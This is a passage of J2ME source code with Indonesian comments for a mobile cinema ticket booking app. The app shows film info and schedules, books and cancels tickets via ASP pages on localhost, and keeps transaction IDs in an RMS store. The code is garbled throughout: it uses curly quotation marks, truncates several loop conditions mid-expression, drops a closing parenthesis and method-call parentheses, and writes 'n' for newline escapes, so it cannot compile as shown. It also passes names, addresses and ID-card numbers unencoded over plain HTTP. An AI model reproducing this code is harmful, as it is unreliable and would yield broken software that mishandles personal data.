//karena ada pengkasesan ke internet (baca jadwal film – jadwal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(txtNama); form.append(txtAlamat); form.append(txtNoKTP);
form.append(tanggal); form.append(group); form.append(txtJumlah);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan proses Pesan Tiket
private void formPesankan() {
//simpan lokasi tampilan
currentWindow = “formPesankan”;
//set tulisan pada ticker
ticker = new Ticker(”Pemesanan Tiket Bioskop Online”);
form = new Form(”Proses Transaksi”);
strStatus = new StringItem(”Sedang proses…”,”");
strMemo = new StringItem(”",”");
txtTransaksi = new TextField(”ID Transaksi”,”",50,TextField.ANY);
//karena ada pengkasesan ke internet (simpan transaksi – pesan.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(strStatus); form.append(txtTransaksi); form.append(strMemo);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Pembatalan Tiket
private void formBatal() {
//simpan lokasi tampilan
currentWindow = “formBatal”;
//set tulisan pada ticker
ticker = new Ticker(”Pembatalan Pemesanan Tiket Bioskop Online”);
form = new Form(”Pembatalan Tiket”);
//siapkan radiobutton untuk menampung daftar ID transaksi yang di-load di fungsi ambilDatabase()
group = new ChoiceGroup(”ID Transaksi”,Choice.EXCLUSIVE);
//ambil catatan ID transaksi dari database rms
ambilDatabase();
//strTemp berisi ID transaksi yang terakhir dibaca dari database rms
//jika kosong, berarti tidak ada catatan transaksi dalam database
if (strTemp.equals(”")) { //tidak ada catatan transaksi dalam database
form.append(”Tidak ada catatan transaksi pemesanan tiket”);
//tambahkan command
form.addCommand(cmdBack);
} else { //ada catatan transaksi dalam database
txtNoKTP = new TextField(”No KTP”,”",20,TextField.ANY);
form.append(”Untuk membatalkan pemesanan tiket, pilih ID Transaksi yang ingin dibatalkan dan masukkan No KTP Anda”);
form.append(group);
form.append(txtNoKTP);
form.append(”Tekan OK untuk proses.”);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
}
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form proses Pembatalan Tiket
private void formBatalkan() {
//simpan lokasi tampilan
currentWindow = “formBatalkan”;
//set tulisan pada ticker
ticker = new Ticker(”Pembatalan Pemesanan Tiket Bioskop Online”);
form = new Form(”Proses Pembatalan Transaksi”);
strStatus = new StringItem(”Sedang proses…”,”");
strMemo = new StringItem(”",”");
//karena ada pengkasesan ke internet (batalkan pemesanan tiket, batal.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
form.append(strStatus); form.append(strMemo);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form History Pemesanan Tiket
private void formHistory() {
//simpan lokasi tampilan
currentWindow = “formHistory”;
//set tulisan pada ticker
ticker = new Ticker(”History Pemesanan Tiket Bioskop Online”);
form = new Form(”History”);
//siapkan radiobutton untuk menampung daftar ID transaksi yang di-load di fungsi ambilDatabase()
group = new ChoiceGroup(”ID Transaksi”,Choice.EXCLUSIVE);
//ambil catatan ID transaksi dari database rms
ambilDatabase();
//strTemp berisi ID transaksi yang terakhir dibaca dari database rms
//jika kosong, berarti tidak ada catatan transaksi dalam database
if (strTemp.equals(”")) { //tidak ada catatan transaksi dalam database
form.append(”Tidak ada catatan transaksi pemesanan tiket”);
//tambahkan command
form.addCommand(cmdBack);
} else { //ada catatan transaksi dalam database
form.append(”Di bawah ini adalah ID Transaksi Anda”);
form.append(group);
form.append(”Tekan OK untuk menampilkan detail transaksi.”);
//tambahkan command
form.addCommand(cmdBack); form.addCommand(cmdOK);
}
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Detail History Pemesanan Tiket
private void formHistorykan() {
//simpan lokasi tampilan
currentWindow = “formHistorykan”;
//set tulisan pada ticker
ticker = new Ticker(”History Pemesanan Tiket Bioskop Online”);
form = new Form(”");
form.append(”ID Transaksi: ” + group.getString(group.getSelectedIndex()) + “n”);
//karena ada pengkasesan ke database (lihat detail transaksi – lihat.asp), siapkan thread
if (thread==null) {
thread = new Thread(this);
}
//jalankan thread
thread.start();
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form About
private void formAbout() {
//simpan lokasi tampilan
currentWindow = “formAbout”;
//set tulisan pada ticker
ticker = new Ticker(”Tentang Bioskop Online”);
form = new Form(”Tentang”);
form.append(”Program Bioskop Online v1.0″);
form.append(”Dibuat oleh Christina F.D.L (00.41010.0004)”);
form.append(”J2ME + ASP (EditPlus, KToolbar, DreamweaverMX, Access)”);
//tambahkan command
form.addCommand(cmdBack);
//tempelkan ticker ke form
form.setTicker(ticker);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
//fungsi untuk membuat tampilan form Error
private void formError(String msg) {
//simpan lokasi tampilan
currentWindow = “formError”;
form = new Form(”Error!”);
form.append(msg);
//tambahkan command
form.addCommand(cmdBack);
//set CommandListener untuk mengacu pada fungsi CommandAction di class ini
//fungsi tsb dijalankan jika salah satu command / pilihan menu dipilih
form.setCommandListener(this);
//tampilkan form ke layar
display.setCurrent(form);
}
public void run() {
if(currentWindow.equals(”menuInfo”)) {
try {
openURL(”http://localhost/BioskopOnline/movie.asp”);
thread = null;
if (dataTemp.size()>0) {
for(int i=0;i
menu.append(dataTemp.elementAt(i).toString(),null);
}
menu.addCommand(cmdOK);
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formInfo")) {
try {
openURL("http://localhost/BioskopOnline/movie.asp?movie=" + form.getTitle().replace(' ','+'));
thread = null;
if (dataTemp.size()>0) {
form.append(”Jenis: ” + dataTemp.elementAt(0).toString() + “n”);
form.append(”Pemain: ” + dataTemp.elementAt(1).toString() + “n”);
form.append(”Sinopsis: ” + dataTemp.elementAt(2).toString() + “n”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formJadwal”)) {
try {
openURL(”http://localhost/BioskopOnline/jadwal.asp”);
thread = null;
if (dataTemp.size()>0) {
int i = 0;
while(i

{
form.append("Studio " + dataTemp.elementAt(i).toString() + " - " +
dataTemp.elementAt(i+1).toString() + ": " +
dataTemp.elementAt(i+2).toString() + "n");
form.append("Kapasitas: " + dataTemp.elementAt(i+3).toString() +
"kursi, HTM: Rp " + dataTemp.elementAt(i+4).toString() + "n");
i = i+5;
}
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formPesan")) {
try {
openURL("http://localhost/BioskopOnline/jadwal.asp");
thread = null;
if (dataTemp.size()>0) {
int i = 0;
while(i

{
group.append("Studio " + dataTemp.elementAt(i).toString() + " - " +
dataTemp.elementAt(i+1).toString(),null);
i = i+5;
}
} else {
formError("Koneksi ke server gagal!");
}
} catch(Exception e) {
formError("Ada kesalahan!");
}
} else if (currentWindow.equals("formPesankan")) {
try {
System.err.println(tanggal.toString());
openURL("http://localhost/BioskopOnline/pesan.asp?nama=" + txtNama.getString().replace(' ','+')
+ "&alamat=" + txtAlamat.getString().replace(' ','+')
+ "&noktp=" + txtNoKTP.getString()
+ "&tanggal=" + tanggal.getDate()
+ "&jadwal=" + (group.getSelectedIndex()+1)
+ "&jumlah=" + txtJumlah.getString());
thread = null;
if (dataTemp.size()>0) {
System.err.println(dataTemp);
if(dataTemp.elementAt(0).toString().equals(”gagal”)) {
strStatus.setText(”gagal”);
strMemo.setText(”Koneksi gagal. Silahkan coba beberapa saat lagi”);
} else if (dataTemp.elementAt(0).toString().equals(”penuh”)) {
strStatus.setText(”gagal”);
strMemo.setText(”Kapasitas kursi tidak mencukupi”);
} else {
txtTransaksi.setString(dataTemp.elementAt(1).toString());
strStatus.setText(”sukses”);
strMemo.setText(”Simpan ID Transaksi di atas untuk konfirmasi pembelian tiket.” +
” Biaya yang harus Anda bayar adalah ” + dataTemp.elementAt(2).toString());
}
//save to rms
tambahDatabase(dataTemp.elementAt(0).toString());
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formBatalkan”)) {
try {
openURL(”http://localhost/BioskopOnline/batal.asp?id=” + group.getString(group.getSelectedIndex()) + “&noktp=” + txtNoKTP.getString());
thread = null;
if (dataTemp.size()>0) {

strStatus.setText(dataTemp.elementAt(0).toString());
//remove from rms
hapusDatabase(group.getString(group.getSelectedIndex()));
strMemo.setText(”Transaksi telah dibatalkan dan catatan transaksi telah dihapus dari database.”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
} else if (currentWindow.equals(”formHistorykan”)) {
try {
openURL(”http://localhost/BioskopOnline/lihat.asp?id=” + group.getString(group.getSelectedIndex());
thread = null;
if (dataTemp.size()>0) {
form.append(”Nama: ” + dataTemp.elementAt(0).toString + “n”);
form.append(”Alamat: ” + dataTemp.elementAt(1).toString + “n”);
form.append(”No KTP: ” + dataTemp.elementAt(2).toString + “n”);
form.append(”Tanggal: ” + dataTemp.elementAt(3).toString + “n”);
form.append(”Jadwal: ” + dataTemp.elementAt(4).toString + “n”);
form.append(”Jumlah: ” + dataTemp.elementAt(5).toString + “n”);
form.append(”Biaya: ” + dataTemp.elementAt(6).toString + “n”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
}
}
public void commandAction(Command c,Displayable d) {
String label = c.getLabel();
if (c==cmdBack) {
if (currentWindow.equals(”formPesankan”)) {
menuPesan();
} else if (currentWindow.equals(”formBatalkan”)) {
menuPesan();
} else if (currentWindow.equals(”formHistorykan”)) {
menuPesan();
} else if (currentWindow.equals(”formInfo”)) {
menuInfo();
} else {
menuUtama();
}
} else if (c==cmdOK) {
if (currentWindow.equals(”formPesan”)) {
formPesankan();
} else if (currentWindow.equals(”formBatal”)) {
formBatalkan();
} else if (currentWindow.equals(”formHistory”)) {
formHistorykan();
}
} else if (c==cmdAbout) {
formAbout();
} else if (c==cmdExit) {
keluar();
} else { //menu
List currentmenu = (List)display.getCurrent();
if (currentWindow.equals(”menuUtama”)) {
switch(currentmenu.getSelectedIndex()) {
case 0: menuInfo(); break;
case 1: formJadwal(); break;
case 2: menuPesan(); break;
}
} else if (currentWindow.equals(”menuInfo”)) {
String title = new String(currentmenu.getString(currentmenu.getSelectedIndex()));
formInfo(title);
} else if (currentWindow.equals(”menuPesan”)) {
switch(currentmenu.getSelectedIndex()) {
case 0: formPesan(); break;
case 1: formBatal(); break;
case 2: formHistory(); break;
}
}
}
}
//*********************************************************************************************
// FUNGSI-FUNGSI YANG BERHUBUNGAN DENGAN DATABASE RMS
//*********************************************************************************************
//fungsi untuk membuka database
//jika database tidak ada, maka database akan dibuat
private void bukaDatabase() {
try {
//buka database
//parameter TRUE menunjukkan bahwa database akan dibuat jika belum ada
database = RecordStore.openRecordStore(”database”,true);
} catch (RecordStoreException e) {
formError(”Ada kesalahan pembuatan database”);
}
}
//fungsi untuk menambah data (string ID transaksi) ke dalam database
//input: ID Transaksi yang ingin ditambahkan (data)
private void tambahDatabase(String data) {
try {
//tambahkan data ke dalam database
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeUTF(data);
byte[] b = baos.toByteArray();
database.addRecord(b,0,b.length);
} catch(IOException e) {
formError(”Ada kesalahan IO”);
} catch(RecordStoreFullException e) {
formError(”Database RMS penuh”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk mengambil data (ID transaksi) dari database
//ID transaksi langsung disimpan dalam variabel group (ChoiceGroup) yang harus diinisialisasikan sebelumnya
private void ambilDatabase() {
//kosongi strTemp
strTemp = new String(”");
try {
ByteArrayInputStream bais;
DataInputStream dis;
RecordEnumeration enum = database.enumerateRecords(null,null,false);
while (enum.hasNextElement()) {
//ambil ID record
int recId = enum.nextRecordId();
//ambil DATA record
bais = new ByteArrayInputStream(database.getRecord(recId));
dis = new DataInputStream(bais);
//simpan ke dalam strTemp
strTemp = dis.readUTF();
//tambahkan di group
group.append(strTemp,null);
}
} catch(IOException e) {
formError(”Ada kesalahan!”);
} catch(IllegalArgumentException e) {
formError(”Ada kesalahan!”);
} catch(IndexOutOfBoundsException e) {
formError(”Ada kesalahan!”);
} catch(NullPointerException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreNotOpenException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk menghapus data (string ID transaksi) dari database
//input: ID Transaksi yang ingin dihapus (data)
private void hapusDatabase(String data) {
try {
ByteArrayInputStream bais;
DataInputStream dis;
String in;
RecordEnumeration enum = database.enumerateRecords(null,null,false);
while(enum.hasNextElement()) {
//ambil ID record
int recId = enum.nextRecordId();
//ambil DATA record
bais = new ByteArrayInputStream(database.getRecord(recId));
dis = new DataInputStream(bais);
in = dis.readUTF();
//cek apakah DATA record sama dengan data ID TRANSAKSI yang dicari
if (in.equals(data)) { //jika ya,
database.deleteRecord(recId); //hapus record
break; //selesai
}
}
} catch(IOException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreNotOpenException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//prosedur untuk menutup database
//dipanggil saat akan keluar dari program
private void tutupDatabase() {
try {
//tutup database
database.closeRecordStore();
} catch(RecordStoreNotOpenException e) {
//do nothing
} catch(RecordStoreException e) {
//do nothing
}
}
}[/java]